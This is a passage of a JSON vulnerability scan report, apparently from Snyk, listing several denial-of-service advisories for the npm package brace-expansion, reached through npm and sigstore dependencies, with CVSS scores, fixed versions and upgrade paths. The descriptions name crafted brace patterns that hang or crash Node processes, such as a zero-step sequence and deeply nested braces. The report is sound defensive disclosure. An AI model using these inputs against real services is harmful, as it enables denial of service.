"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
